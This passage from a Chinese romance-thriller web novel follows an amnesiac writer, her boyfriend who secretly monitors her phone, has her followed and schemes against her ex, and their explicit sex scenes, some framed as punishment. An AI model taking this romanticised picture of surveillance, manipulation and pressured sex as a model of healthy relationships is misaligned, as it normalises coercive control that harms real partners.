千瑶下楼,总觉得周围的环境怪怪的。
虽然陈设和之前一样,但总觉得哪里有不一样。
例如这个电视,看起来就特别新。
还有这个鱼缸里的鱼,少了一只。
厨房的推拉玻璃门,简直干净得不行。
千瑶忍不住问了一句,“邵柏修,你搞装修了?”
邵柏修端着酒杯,看向她,“你从哪儿看出来搞装修?”
她看着周围,皱起眉头。
她想要说,却也说不出个所以然。
“其实我让人将家里打扫了一遍,会看起来不一样。”
千瑶点头,原来如此。
难怪她觉得变了。
晚上,千瑶原本是要回自己房间的,可是却被拦住了去路。
“你拿着行李箱去哪?”
“回房间。”千瑶打了个哈欠,她又困了,“我要去睡觉了。”
邵柏修不解,拿过她的行李箱,放回自己房间。
“你拿我行李箱做什么?”千瑶皱眉,她不理解。
“你之前说过,以后都来和我睡的,不能反悔哦。”
千瑶愣神,好像有这个记忆。
她之前在床上的承诺,邵柏修真的信了。
15. 第15张照片
千瑶左右为难,她当时也不知着了什么魔,话就脱口而出了。
就这样,她没了拒绝的理由。
千瑶觉得她和邵柏修的进展忽然加快了。
她心里接受了邵柏修,可是在别的方面......还没有准备。
“浴袍给你准备好了,快去洗澡吧,不是困了吗?”
千瑶看着沙发上备好的浴袍,她忽然不困了。
邵柏修坐在床上,时不时往她这边看,似乎还在疑惑她的愣神。
她攥着那件浴袍,抿了抿唇。上下遮不住,有点露,还是放下了。
她从行李箱拿出自己的睡衣,走进了浴室。
十几分钟后,她从浴室出来。
邵柏修已经躺在床上,手头抱着电脑,在敲键盘。
他微一抬眼,见到一只毛茸茸的兔子往床上钻。
她的睡衣换了,之前她不是这一件的。
还有两只长长的垂耳兔耳朵,耷拉在后头。
邵柏修镜面反射着电脑的亮光,遮住了他眼底的晦暗。
他放下电脑,将她拉入自己的怀中。
“这件新买的?”
“木子送给我的。”
邵柏修揪着她的一只“耳朵”,“很适合你。”
说完后,他便在她的唇上落下一吻,手摸着她的后脖颈。
让她无法逃避,不得不迎合。
他指尖划过的地方,就像点燃了火。
她的睡衣本就宽大,冰凉的手抚摸而过,将它撑得更大。
她的吻技被他训练得学会吐息,她的脸红得滴血,那几欲磨灭的快感烧得人崩溃。
“宝宝,我揉揉。”
千瑶呼吸骤然紧促,眼中逐渐涣散。
吻逐渐深入,勾连着她,让她逐步地沉溺。
“你的心跳得好快。”
床单被抓出一道道褶皱,敏感得眼尾都沁出泪花。
她的理智在告诉她,要停下。
千瑶拿下他的手,转身背对着他,“邵柏修,睡觉了。”
她说完这一句话,声线都不稳。
身后靠上了炙热的身躯,邵柏修搂着她的腰,让她贴近自己睡。
“宝宝,你对我不热情了,你是不是还没有原谅我。”
邵柏修的声音低落,千瑶原本想睡了,听得心里不是滋味。
“没有啊,你不要胡思乱想。”她转过来。
“你爱我吗?”
千瑶看着他的眉眼,很认真回应,“我爱你。”
邵柏修终于笑了,“好。”
他摸摸头,让她面对自己而睡。
千瑶朦朦胧胧中,沉沉睡去。
“哥哥,你画的什么东西.......”
千瑶看着房里的画,吓得一句话都说不完整。
那副画上是扭曲的人在笑,身子弯曲成一个诡异的弧度。
眼睛流着血泪,冲着人笑。
旁边好几幅画架上,不是人体碎片就是血淋淋的场面。
还有一幅画,千瑶一眼就看出那是一只小白鼠的解剖图。
详细到内脏肠子的具体位置。
她面前的青年很高,模糊得看不清脸。
被叫做哥哥的青年,扭头看了她一眼,眼神很冷。
他的手指夹着笔,桌上还放着画盘。
“千千,你要试试吗?”他恶劣地挑起一抹笑意。
“画画很好玩的。”
千瑶坐在床上,艰难地咽了口唾沫。
哥哥跟她说,他教她画画,她学会了还会给她糖吃。
可是哥哥画出来的画都很恐怖,她根本不喜欢,她很害怕。
哥哥的画笔在手指流转,弯起嘴角一步步地向她靠近。
千瑶往后缩,背撞在了门上。
她拧了拧门,不知道怎么就打不开。
“不是想和我玩吗?退这么远做什么?”哥哥皱眉,在谴责她的行为。
“你说过要让我高兴的。”
他拽过千瑶的手腕,一把将她拉过来。
钳制在怀里,脑袋搭在她的肩膀上。
以半环抱的姿势,站在画板前。
她的手上被塞上了画笔,他握住她的手,沾了颜料。
千瑶想收回手,看着空白画布,她不想画画了。
“哥哥,我不要画画。”
“对哥哥承诺,最后又反悔,是一种背叛的行为,我最讨厌不守信用的人了。”
他贴着千瑶的耳朵,喘着湿热的气。
耳边的话还在继续,“哥哥最喜欢千千了,不要让我生气哦。”
她的眼泪在往下砸,低声啜泣着。
手上的动作不停,画笔在画布上一点点地画出一只硕大的眼睛,眼睛直直地看着人,哭泣的同时在流血。
千瑶想要走,她在他的怀中挣扎,奈何她的力气太小了。
“我、我不想学了。”
可下一瞬,耳边传来的声音,几乎让她血液凝固。
“再动,哥哥就在你身上画。”
“哥哥不要......”
“哥哥不要......”
千瑶被吓醒了,她猛地睁眼,浑身上下都被汗水浸湿。
眼中的惊恐还未消,她睁着眼睛,喘着粗气。
她感觉到一股冰冷的视线,她一扭头。
发现邵柏修侧着身,手肘弯曲,撑着脑袋正在看着她。
“怎么了?做噩梦了吗?”
千瑶捂着胸口,那个梦太真实了。
她还没缓过神来,唇上便被覆上一吻。
千瑶愣神,她看向邵柏修,“你还没睡,是不是我吵醒你了?”
“你刚刚梦到什么了?”
“我......我梦到一个人,他在教我作画。可是我不愿意,那些画太可怕了。”她犹豫说出。
她现今都记忆犹新,和之前以往的梦都不同。
这个梦有完整的情节,不是特别散乱,她记得很清楚。
“而且,我在梦里叫他......哥哥。”
邵柏修对她一笑,柔情地看着她。
“梦里都是假的,别怕。”
“你的大脑受过创伤,还没好全。这些是你凭空臆想出来的,所以梦和现实不同,不会发生的,也全是假的。”
邵柏修眼里含着笑意,手安抚地摸着她的脊背。
让她不要紧张,千瑶点头。
她抱着邵柏修,脑袋埋在他的脖颈里。
她在他的怀里感受到了安全感,冲淡了刚才噩梦的恐惧。
然而,就当她闭上眼。
邵柏修的眼神倏然变了,变得冷漠阴森,没有一点温度。
抱着她的手骤然锁紧,将她钳制在怀里,完全占有。
-
千瑶近日轻松了一些,之前的小说收尾完成。
她完结了一身轻松,还和邵柏修说了这件事,以及下回的新书计划。
他表示特别支持,还让她主动与自己讨论故事情节。
今天千瑶要再去一趟国贸大厦,上回的事情还没结束,这一次是应斯年私下主动邀请的。
她很乐意去帮忙,特别期待演出来是什么样子的。
“这条围巾给你,那个......我很抱歉,之前的那条我弄丢了。”
千瑶双手将围巾递给应斯年,希望他不要介意。
应斯年看到这条围巾,并没有因为这件事责怪她,反而推了回去。
“你不必这样,不用送也可以的。”
千瑶还是让他收下,不然她过意不去,应斯年在她的坚持下还是收下了。
“千瑶,这里我不太明白。”
应斯年指出原著的一个片段,千瑶离得远,她没看清楚。
他主动坐到她身边,跟她分析剧情。
千瑶认真倾听着,而后解释:“这里是男主误会女主,而后......”
千瑶说得让人很有代入感,从窗口吹来的风,拂动她的长发。
他看着她说得眉飞色舞,嘴角缓缓勾起一个弧度。
飘扬的发丝碰到他的脸,心里就像被什么挠了一下。
他看着她的脸
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在出神,她是天生的娃娃脸,笑起来有两个酒窝。
笑得很甜,看着人的眼睛仿佛会说话。
“你理解了吗?”
千瑶微倾身,注视着他。
“应斯年?”
她见他一直看着自己,也不知道她刚刚讲得细不细致。
应斯年与她对视上,下意识地挪开视线。
“抱歉,我......还是不太理解。”
千瑶点点头,她翻着剧本,与原著是有些出入。
而且这个文段需要一定的理解力,情绪是很饱满的。
她可以再对他讲一遍。
光阴如水,一眨眼就到了日落时分。
她看了眼时间,还没到九点。
“这次就先到这里吧。”
“下次如果有问题,还可以找你吗?”应斯年突然问道。
千瑶笑着点头,“当然可以啊,我加了你微信的,随时找我。”
“线下的见面,额......我的意思是这样的交流会更有效率。”
她犹豫了一会儿,“还是线上交流好,见面的话,我不一定有时间。”
千瑶礼貌地拒绝了,她这次会是最后一次线下同应斯年沟通。
她如果和应斯年见面多了,邵柏修要不高兴了。
“那咱们去吃晚餐,我请客。”
“谢谢你的好意,不过我想先回家了。”
千瑶走到门口,和他道别。
应斯年的眼中闪过失望,他看着手上的剧本,怎么也看不下去。
还是停留在千瑶离开时的那一页。
千瑶从电梯下来,她又看了眼时间,不算太晚。
她穿过大厅,低头看着手机,没注意到前方有人。
千瑶停住脚步,从屏幕抬头,见到景喻哲就站在她面前。
前男友?!
她装作没看见他,往左边走,他也往左边走。
往右边去,他直接堵住了她的去路。
“千千,别躲我。”
千瑶看向他,他身后还跟着一众人。
“景总,等会儿还有一个会议,您看......”
“往后延。”
秘书看了眼千瑶,很有眼色地让身后人都离开。
“你微信删了我。”
“景喻哲,我们结束了就不要有联系了。其实我车祸后就失忆了,我们之间发生了什么,我都不记得了。”
景喻哲皱着眉头,看她的眼神中,确实带着一丝陌生。
还有上一回在商圈,她的惊恐和诧异不像是装的。
千瑶想走了,可是手腕被人抓住。她扭头看向景喻哲,他的行为很无理。
千瑶已经有点生气了。
“分手了就不能做朋友了吗?”景喻哲看向她。
她又看了眼时间,有些焦急。
自从上回和邵柏修产生矛盾后,他希望她能早点回家,她也同意了。
门禁是九点,而现在快超时了。
“我有男朋友了。”
“是上回那个男人吗?”
千瑶不予置否,她的沉默已经给了答案。
她不想再和他纠缠下去。
“你说你失忆了,现在肯定很着急要找回记忆。”
“我想也许我能帮助你,我们相处了三个月,你的一些事情我知道。”
“还有......”他停顿了一下,想说什么,而后又不说了。
他拿出手机,打开二维码。
“加个微信吧。”
千瑶看着,她匆忙扫了。
她也不是想要和他聊什么,因为不加的话,景喻哲不会善罢甘休。
她加上了之后,他总算没继续纠缠,她能离开了。
千瑶回到家,客厅只有邵柏修一个人。
桌上摆了一桌子菜,他撑着下巴,似笑非笑地看着她。
他看着腕表,听不出喜怒,“九点五十五分。”
“宝宝不是承诺九点回来吗?这次迟到了。”
他尾音上挑,“可能会有......惩罚。”
16. 第16张照片
“我......我路上堵车了,回来晚了一点。”
千瑶没有把遇到景喻哲的事情跟邵柏修说。
路上堵车是真的,她上车的时候也确实没到约定的时间。
这些赵叔也都知道。
邵柏修没有再继续说下去,而是让她先来吃饭,别饿肚子。
二人吃完饭后,邵柏修回卧室洗澡。
千瑶看向二楼的卧室,紧抿着唇,她选择去书房码会儿字。
她坐在椅子上,打开微信,准备要把手机里的刚加的人删了。
千瑶点开那个头像,聊天框发来消息。
景喻哲的网名是J,她没有给他特别的备注。
【J:下次一起出来喝个咖啡,见你走得匆忙,当面讲会好些。】
千瑶想了想,原本在删除的页面,又将它关掉了。
她最终没有删景喻哲。
千瑶打开码字页面,她开的文写好了大纲,开头也写了几万字。
可是她却一直找不到感觉,找不到切入点。
她卡文了。
书房的门打开,她毫无知觉,撑着脑袋,盯着屏幕苦思冥想。
她被人圈在书桌边,颈侧男人的气息灼热,贴着她的脸。
“不写了?”
她心里一个咯噔。
“想不出来。”
千瑶在书房磨磨蹭蹭,即便她写不出来,她也没回卧室。
邵柏修刚才的话她还记着,她不敢回去了。
“卡在哪儿了?”
千瑶回答:“男女主情感推进,二人的亲密情节,有点卡。”
邵柏修将她打横抱起,她下意识的抱住他的脖颈。
千瑶瞳孔一缩,“我还要工作。”
“反正一时半会你也没灵感,那就陪陪我。”
“还是说,你想逃避我们的约定呢?”
邵柏修挑起笑意,手臂托着她的腿,看人的眼神充满了情.欲。
千瑶心里紧张,确实是她不守时,可是她并非有意的。
“我下次不会了,这次是客观因素。”
“好。”
邵柏修说完后,还是没有放她下来。
他抱着她往卧室走,他只穿了一件睡袍,松垮的黑色睡袍领口露出线条流畅的肌肉。
千瑶看着他的下颌,嘴角似有似无的笑意。
她被放在床上,见到床边放着一杯酒,还有满杯子的冰块。
应该是邵柏修调好的。
千瑶的视线还未从酒上收回,唇便被堵上一吻。
她回头见到邵柏修的眼神欲.色浓郁,宛若将她摄入无尽沉沦的漩涡。
“唔。”
千瑶的头发被他撩拨,手顺着她的手臂下滑,解开她的扣子。
一步步地解开她的领口,吻得湿热。
她羞红脸,别过眼去,却被捏着下颌与他接吻。
他手的动作不停,眼神下视间,靠着她的耳边,“......好像比之前更加大了。”
她被揉得眼尾发红,咬着牙不敢发出别的声音。
她的呼吸越来越喘,抓着他的手臂,却被束缚在头顶。
“可以了,睡觉。”
“......邵柏修。”
邵柏修咬着她的唇,注视着她,眼中情.欲未消,“宝宝,还没结束。”
她的腰被扣着,手指划过她美丽的腰线。
他拿起床边的酒,仰头喝了一口,喉结微动,但并未咽下。
千瑶被堵住了唇,酒很涩,香气充盈。
她身体渐渐热了,被吻得动情。
邵柏修端着酒杯看着她,倾身俯下时,口中的酒一滴不落地从唇缝而入。
千瑶唇角流下溢出的酒液,看上去涩气而魅惑。
她的脑袋昏昏沉沉,光影之下,邵柏修睡袍散开,宽阔的肩膀爆发力十足。
燥热让她的脸红到了耳根子,窗台的月光停留在他线条清晰的腹肌,紧实的肌肤沁着薄汗。
下腹两侧的人鱼线斜斜切入,逐渐消失在裤头边缘。
千瑶的后颈被托起,加深这个吻。
而后口中被塞入一块冰块,他一直在勾着她,刺激得让她抓紧了被单。
“呜......”
她呜咽地吞着半融的冰,融化的冰水顺着下巴滑下。
又被舌尖顶开唇缝,碾过齿列,轻轻地厮磨。
冰块的凉意让她的感官变得敏感,咬着她的敏感点,她不可遏制地蜷缩起腿。
可被膝盖抵着,被男人岔开。
邵柏修让她扶着自己的肩,倾身俯下时,冰棱的凉在她的齿间还未消。
他的指腹擦去她唇间流出的水,“等会儿就不凉了。”
邵柏修手指夹着套,牙齿扯开包装,眼神锁定她。
眼神既有燃情,又有带着占有欲。
千瑶心跳得很快,快要跳出胸口。而他的吻带着灼热的呼吸,身上淡淡的雪松香混杂在一起。
她的衣服在亲吻间已经被他扔得七零八碎,他让千瑶勾着他的脖子。
“宝宝,给我。”他鼻尖抵着她的鼻尖,哑声道。
邵柏修拂过她额间的发丝,隐忍的喘息低沉。
眼中的情愫溢出,她两颊绯红,漂亮的肩胛骨被扣住,倾身向前。
墨发垂落在身后,白皙的肌肤泛着淡淡的粉。
邵柏修吻在千瑶的锁骨,她的指甲捏着床单下陷,“......好。”
他的眼神在刹那间变得灼灼,欲.色染上他的眉骨。
双腿缠绕在他精壮的腰上,逐渐沉沦。
千瑶仰头间,眉头皱紧。
疼痛让她的大脑中短暂的空白,从喉间止不住地溢出闷声。
厮磨的折磨让她无法思考,无助地抓着男人的后背。
邵柏修麦色的肌肤上布满了汗珠,被抓出一道道红痕。
“慢点......”
她甚至说不出一句完整的话。
千瑶喘着难耐的气息,就像踏入了未知的领域,步步沦陷下坠。
浑身被撞得涣散,身后贴着火热身躯。
她咬上他的脖颈,浅浅地咬在他的下巴。
“宝宝爱我吗?”
“我......爱你。”
邵柏修一直在问。
她不知道回答了多少次,每一次都迎来他身体上更火热的回应。
床上、沙发,甚至浴室,全都他们欢爱留下的痕迹。
窗外下着淅淅沥沥的小雨,草上滑落着清晨的雨水。
天色不明朗,云雾缭绕,
千瑶悠悠转醒,浑身像是被碾过一般。
身体宛若散架,身上一个个深深的咬痕都显示着昨日的激烈。
她每每动一下,下身传来撕裂的痛感,酸涩肿胀。
千瑶看了眼身上,被邵柏修清理过了。
她脑袋昏沉,发出的声音沙哑。
邵柏修床上和床下就像两个人,他疯了一样地要了她一次又一次。
他的精力异于常人,折腾到凌晨,不眠不休。
她尝试了一下,起不来
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。
千瑶干脆翻了个身,继续睡。
她又不知过了多久,天又暗下来,她醒来的时候邵柏修在身边。
邵柏修注意到她醒来,放下电脑俯身摸了摸她的额头。
“宝宝你还发着低烧,先吃药再睡。”
千瑶被喂了一点粥,而后吃了些药。
“现在几点了?”
她的声音哑得不像话,发出声时连她自己都诧异。
邵柏修帮她掖了掖被子,让她好好地躺着。
“八点。”
“邵柏修,帮我拿一下我的电脑吧。”
他看了一眼,皱眉道:“你还要写?”
千瑶点头。
邵柏修不赞同她现在的做法,以她的状态不该继续工作。
“大家都在等着更新呢,而且我昨天卡文,本来就没有存稿了。”
听她这么说,邵柏修出去了一会儿。
而后他回来了,但手上没有她的电脑。
“我帮你请假了,明天好一点再写也是一样的,大家都能理解。”
千瑶也不固执,她确实很难受。
邵柏修陪在她身边,半敞开的睡衣漏出的胸肌,都是指甲的刮痕。
没看到的肩膀应该更多,她昨天咬得特别狠。
千瑶仅是看了一眼,脑海中又是昨夜活色生香的场面。
耳朵就又红了,连带着脖颈往上逐渐染成绯红色。
“又严重了?”邵柏修皱眉,要摸她额头。
“没有的。”
她带着鼻音,回答得很快,推了推他的手臂。
千瑶自己摸。
邵柏修笑了,“你的温度摸自己,能知道没有?”
邵柏修还以为她又发烧了,摸着额头没有加重的迹象,他才放心。
千瑶看到邵柏修的电脑,她忽然又想起一件事。
千瑶看向邵柏修,“你怎么知道我网站的密码?”
他打字的手,微不可察地一顿。
邵柏修说得云淡风轻,“你的密码就是八个8,应该不难知道。”
“你以前无论什么密码,都是这样的,你告诉过我。”
千瑶恍然大悟,那她得改密码了,真的很不谨慎。
万一有人盗了她的号,偷看存稿箱的存稿那可怎么办。
这还不是最糟糕的,如果还全发了出去,那她真的会哭的。
即便她现在一章存稿也没有。
“宝宝,休息吧。”
他在她额前盖下一吻,神情温润柔和。
千瑶睡了很久,第二天一早,她就好得差不多了。
手机一直在跳着消息,她打开手机,都是景喻哲发来的消息。
【J:千千,我有重要的事情和你说,能不能见个面。】
【J:国贸大厦隔壁的咖啡馆。】
千瑶还在吃早餐,手机放在桌上,她手里拿着三明治,不方便回复,想着吃完再说。
杯里的牛奶冷了,她起身去厨房,拿着牛奶去微波炉里热。
等她出来时,邵柏修坐在餐桌前,指尖点着桌面。
“邵柏修,你没去上班?”
今天是工作日,她还以为他早就走了。
他手中拿着她的手机,页面停留在景喻哲给她发消息聊天框。
邵柏修将手机推到她面前,单手撑着下巴,柔声问道:“宝宝,这个J是谁?”
千瑶与他对视上,邵柏修弯起嘴角,笑得温柔。
她看着那个明晃晃的聊天框,心跳骤然加快,浑身僵硬住。
17. 第17张照片
邵柏修扬了扬眉,在等她一个解释。
千瑶蹙着眉头走过去,很不喜欢他的行为。
“你不可以看我的手机,因为你没经过我的允许。”
“你的手机在桌上,刚好看到了。”
千瑶抿着唇,主动解释道:“他是应斯年的工作伙伴,要来找我商量原著的改编事情。”
邵柏修拉着她的手,让她坐到怀里,缓缓扬起一个微笑。
“不要紧张,我只是问一下。到时候让赵叔送你过去,记得晚上早点回来。”
千瑶垂下眼睫,“嗯”一声,和他约了下午时间。
她见前男友的事情,没打算告诉邵柏修。
她担心他会和上回一样误会,到时候不好解释。
邵柏修蹭了蹭她的脖颈,“身体好点了吗?”
“好多了。”
-
国贸大厦,咖啡厅。
千瑶让赵叔去国贸大厦的车库等她。
她来到咖啡厅,比预定的时间早了十分钟。
但她没想到景喻哲比她更早,他坐在里侧一角,看着窗外的风景。
千瑶坐在他对面,他注意到她一笑。
“喝些什么?”
“一杯温水”
景喻哲把菜单递给服务员。
“你想和我说什么?”千瑶直切主题。
景喻哲看着她,始终皱着眉头,“你真的都不记得了?”
“上回我在国贸大厦已经说得很清楚了。”
他握着千瑶的手,眼神中含着温柔的情意,“曾经我们真的很相爱。”
千瑶觉得这个行为越界了,她收回手,不想和他再讨论这个话题。
景喻哲眼神缩了缩,她以前从来不会这样。
“你还有别的话要说吗?我想要走了。”
“我和你之前是男女朋友。”
千瑶点头,“这个我知道,但我和你结束了。”
景喻哲沉默了一会儿,“后来的原因你都知道了。”
“是你男朋友告诉你的?”
她没有否认,景喻哲看着她,也没再继续说话。
低头间,垂下眼眸。
微风吹着他的碎发,黯然神伤。
“千千,我被人设局了。”
“那天早上你见到我和那个女人在床上,是有人故意让你看到的。”
“如果我没记错,那天闯入房中,你现在的男朋友也在场。”
千瑶握着温热的水杯,手指摩挲着杯壁。
他说的时候,她呼吸一紧。
因为这个细节,邵柏修没和她说过。
当天,邵柏修竟然也在。
千瑶问了句:“我是在哪里撞见你的?”
“vicotory酒店。”
千瑶心里一个咯噔,那张拍到她和邵柏修争吵的新闻照片。
他们就是在酒店旁发生的争执。
这么巧。
千瑶看着他,“谢谢你告诉我这些,可能我以后才会想起来。”
“有些事情我还是要正式对你说,我和我的男朋友相处得很好,我和你之间没有可能。”
“以前的事情就让它过去,你也不用对我解释什么,希望你能够遇到一个真心相爱的人。”
景喻哲抿了口咖啡,苦涩在口腔中蔓延。
他舍不得放手,也不想就此和她结束。
至于那个男人......
他沉默了一会儿,拿出一份调查资料。
他递给千瑶,她疑惑地看着手头的文件。
“我觉得你的男朋友有问题。我不是要破坏你们的感情而这么说的,这些你可以看看。”
她翻开之后,上边是针对邵柏修的简单调查。
【邵柏修,男,28岁,京市第一医院神经外科主治医师。】
接下来是他的工作期间,所进行的操作手术场数和科室轮转经历。
除此之外,就没有别的信息了。
“有什么问题?”
“我觉得我手下人办事还可以,不至于连一个人的前后背景都查不到。你看他只在这家医院工作了三个月,而后就辞职了。”
“二月到四月,而你出事重伤正好在二月。”
“巧合的是,我竟然查不到他28岁之前的任何经历,也就是有断档。”
千瑶攥着资料,指尖攥得发白。
她看着那张医生证件照,看着镜头笑得温柔。
“我倾向于他是真的医生,真的有医学背景,因为他的一些科研成果和临床实验是能查得到的。名字也对得上,不然医院不会轻易让他上手术台的。”
“所以,这就是我奇怪的地方。像他这么优秀的人才,在京市不可能默默无闻。”
千瑶心里剧烈发颤,她所送医的医院也正好是他工作的医院。
不过这也不能说明什么,毕竟当时车祸距离最近的医院也是这家。
“还有,京市第一医院是一家私人医院。”
“私人医院?是谁的?”
景喻哲摇头,他没有查到。
种种都太过巧合了,他不得不怀疑邵柏修这个人。
千瑶翻着这些经历,心里五味杂陈。
怀疑逐渐在她心间埋下种子。
说到有问题,邵柏修别的地方又都很合理。
例如他的专业度是顶尖的,他与科室的人相处融洽。
这些都是千瑶亲眼见证。
现在已经是十一月份秋天,意思就是说,邵柏修已经失业七个月了。
“我想说的就是这些,这是我个人想法。”
千瑶将资料都还给景喻哲,“谢谢,我知道了。”
千瑶从咖啡厅里出来时,看着街道上人来人往,她脑袋空空。
她坐在一处长椅上,听景喻哲说了这么多,她发现自己对邵柏修根本不了解。
千瑶在街上坐了很久。
千瑶回到家,发现邵柏修早就在沙发上了。
“千千,怎么了?你心情不好?”
“哦,刚刚在想小说的事情。”
他笑了笑,“过来。”
千瑶坐过来,脑袋挨在他肩头。
削好的苹果被切成一片片,喂到她口中。
“邵柏修,你今天工作怎么样?有没有不顺心的事?”
邵柏修扭头看向她,“怎么忽然问这个了?”
“关心我?”
千瑶点头。
“医院的工作还是一样的忙,其他的都挺好的。”
千瑶听到他说的话,开始魂不守舍。
耳边又恍过景喻哲说的那些话,邵柏修只在那家医院当了三个月的医生。
“其实......我一直隐瞒了一件事。”
邵柏修看着千瑶,他想要坦白。
“什么事?”
千瑶在问出这句话时,紧张的指甲陷入肉里。
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>她不知道自己为什么会这样,可能是受了景喻哲的影响。
“其实我已经失业七个月了,我一直没跟你说。”
“啊?”
“这些日子我一直在外边假装工作,直到今天我才正式入职一家医药公司。”
他拿出自己的手机,上边是收到offer的邮件。
千瑶看着上边的,确实是今天下午收到的。
“邵柏修,你怎么不告诉我?”
“怕你担心,毕竟咱们的花销很大的,不想你有压力。”
千瑶抱着他的腰,脑袋埋在他胸口。
他总是这样,自己默默承受着压力却又不说。
“这家公司主要涉及核心药物研发,保密系数很高,尤其是针对我们研究人员,收入也是很可以的。”
邵柏修揉了揉她的脑袋,“没事的,都过去了。”
千瑶主动吻上他的唇,“下次再遇到这种情况,一定要和我说。我也可以养你的,又不会责怪你。”
“好的,我知道了。”
“千千,你下午聊得怎么样了?”他冷不丁防来了一句。
他的视线锁定千瑶,眼神在刹那间就变了。
虽然是面带微笑地看她,但就像被人遏制住喉咙,一种无形的窒息感。
“有些小矛盾,都解决了。”
邵柏修还在注视着她,沉默在悄然之间蔓延。
千瑶眼神没有躲闪,眼睛笑得弯弯的,和他对视上。
“那就好。”
良久他才说了一句。
千瑶在书房忙事情,邵柏修在书房外的院子里打电话。
落地窗门隔音很好,在里边听不到外边在说什么。
“今天做得很好。”
“谢谢邵总的肯定,我会继续努力的。”赵叔说。
他在小姐走后,便一路跟着她,直到看见景喻哲的出现。
他立刻将事情汇报给了邵总。
景喻哲的动作,邵柏修之前就有察觉。
这些资料他都准备好了,景喻哲查不到什么的。
反而会让千千对景喻哲更加厌恶,对自己就会更加信任。
邵柏修挂了电话后,邹秘书的电话打了进来。
“邵总,景家的势力一直对您展开调查,您看?”
“我记得景家最近也有好几桩丑闻,连同景喻哲的那些照片,就一起吧。”
“还有景董事长贿赂官员的账目。”
他勾起一抹唇角,“正好让景家的股市,一片绿。”
千瑶看着外边的邵柏修,他的神情貌似很高兴。
他都处理完后,回到书房,见到她还在写。
写了一百字,又删了七十个字,最后干脆全都删了。
目前进度为零。
“还在卡?”
千瑶托着下巴,无奈点头。
她是实在没招了,始终找不到灵感,也没有那种情绪。
“宝宝,我帮你。”
她扭头看向邵柏修,不理解他这句话的意思。
他抱着千瑶,将她放在办公桌上。
冰凉的大理石桌面抵着她的腿,手撑在身后才没倒下去。
脚完全没触及地,白色的襦裙漏出半截白皙的小腿。
“别闹了,邵柏修。”
她的手抵在他的胸膛上,没让他倾身而下。
“你之前说找不到男女主亲密的感觉,我在帮你找灵感。”
18. 第18张照片
千瑶想不到是以这样的方式,正当她想说什么,邵柏修的吻堵住她的唇。
书房的暖气喷薄在落地窗上雾霭蒙蒙,屋内的人影交叠。
体温逐渐上升,她的毛绒毛衣已经卷得褶皱,腰已经软的不行。
咬上她的颈侧,千瑶眉头紧紧蹙起,抓着他的衬衫,直接崩坏了一颗扣子。
“轻点,邵柏修......”
千瑶觉得他今天很反常,发了狠地要她。
头发垂落在桌面上,手肘硌着大理石摩擦。
舌尖细细地碾过上颚,撬开她的齿缝,留下淡淡的雪松香味。
邵柏修薄唇抵着她的耳畔,热气呼在她的耳边,含入着她的耳垂。
她手指蜷缩,浑身像是触电一般。
千瑶浑身软成一滩春水,就连抬手都没有力气。
密密麻麻的吻痕从手腕往上,一道道暧昧痕迹在水晶灯的光线下清晰。
她被刺激得眼尾润湿,在呜咽中推着邵柏修的胸口,指甲抓着他的脊背就像小猫抓挠。
“够了,我不要了。”
千瑶颤抖,眼神逐渐涣散,说话的声音又哑了。
洁白的大理石桌面泛着水光,粗重的喘息和细微的呻吟此起彼伏地交叠。
窗外的落日蒙蒙的金光,洒在她汗涔涔的额发。
邵柏修宽阔的肩肌布满了汗珠,沿着臂膀的肌肉下滑。
“宝宝现在很会接吻。”
他咬着她的耳朵,在她耳边说道。
他扣着她的腰,让她缠得更紧,脚踝硌着石桌每一次的碰撞都硌红了。
千瑶泪眼朦胧,忽地浑身一颤,脑中的理智在顷刻崩塌。
仰头时从喉咙间溢出一声闷哼,她承受不住咬在他的喉结上。
千瑶粗重地喘息急促,“放我下来......”
“宝宝,乖,转过去。”邵柏修温柔的嗓音在引诱。
千瑶趴在桌面上,邵柏修修长的手指摸过漂亮的锁骨弧线,逐渐划过她的一对肩胛骨。
纤细脊背弓成一个美丽的弧度,肌肤白皙若雪。
她身后贴上一个炙热的身躯,“美极了。”
“......很适合作画。”
千瑶已经无法思考,膝盖每一下地硌着石桌腿。
脖颈间的头发,被他撩拨至右肩前。
“唔——”
腰间的酸痛席卷,随之而来的撕裂让她心跳加快。
下颌被掰着与他接吻,刺激和一阵又一阵灭顶的快感冲顶。
书房柔软的地毯上流下挥洒的汗液,头顶的水晶灯在旋转,她被弄得意识模糊。
千瑶不知道过了多久,她醒来的时候已经在床上了。
她捂着发酸的腰,邵柏修昨天太过分了。
她昨天直接昏了过去。
还说什么帮她找灵感,邵柏修这个坏东西。
千瑶浑身酥软,根本不想起来,挣扎了几分钟,又躺在床上了。
黄昏日落,金色的霞光透过窗台。
秋风渐起,不久后就要入冬了。
千瑶起床拢了拢毛绒大衣,邵柏修还没回家,她打算替他做个爱心晚餐。
王妈想要帮她,最终被千瑶请了回去,让王妈提前走了。
她上次的菜学到了一半,就被邵柏修终止了。
她这次一定学会。
千瑶事先有过学习,现在上手还算可以。
食材全部备齐,蛋液打好。
她切着牛肉,刀工不熟练。她看了眼时间,得加快进度,不然邵柏修就要回来了。
千瑶一个不小心,锋利的刀切到了手指,食指的上部分指节削去一片肉。
血一下子就涌了出来,她痛得皱眉,急忙用水冲了一会儿。
很痛,不过是小伤口。
她呼了呼气,包着创口贴,痛得不行。
千瑶继续解下来的炒菜步骤,两菜一汤,制作完成。
她端着菜放在桌上,用碟子盖好。
邵柏修还没回来,她刷着手机,而后一个电话打进来。
她看了一下,是来自境外的手机号。
千瑶皱眉,挂断。
诈骗电话。
挂断没到一分钟,电话又打过来。
千瑶没犹豫,挂断。
第三次,电话又响起,还是刚刚的手机号。
她看着不断响铃的界面,犹豫好久才接起。
“喂?”
“hello,千。Whydidyouhanguponme?(为什么挂断我的电话?)”
电话那头的人,说着英文,是一个女声。
“你是?”
电话那头的人沉默了一会儿。
她说起中文,“千,我是雪莉卡,你怎么了?”
千瑶听她的中文说得蹩脚,带着点M国的口音。
“雪莉卡......”千瑶喃喃自语。
她脑海中闪过模糊的影子,但是没有具体的印象。
“忽然换了号码也不和我说,你这个电话还是我问应斯年的。”
“应斯年?你认识他?”
“之前有过联系,我怎么都找不到你,问了他才知道。”
“明天来接机哦,下午一点多。Thisisanotice,千,看不到你人,你就完了。”
雪莉卡说完后,千瑶还没说上几句话,就挂断了。
而后微信有一个红点点跳出来,是雪莉卡。
她点了添加,而后转过来一个航班信息。
飞机下午一点十五分落地。
她刚退出微信,邵柏修就回来了。
大手揽着她的腰,将她抱坐在腿上,“宝宝,见到你在家里,我觉得好安心。”
“我好想你。”
邵柏修很粘人,贴着她的耳朵说话。
千瑶对他扬了扬下巴,让他看向餐桌。
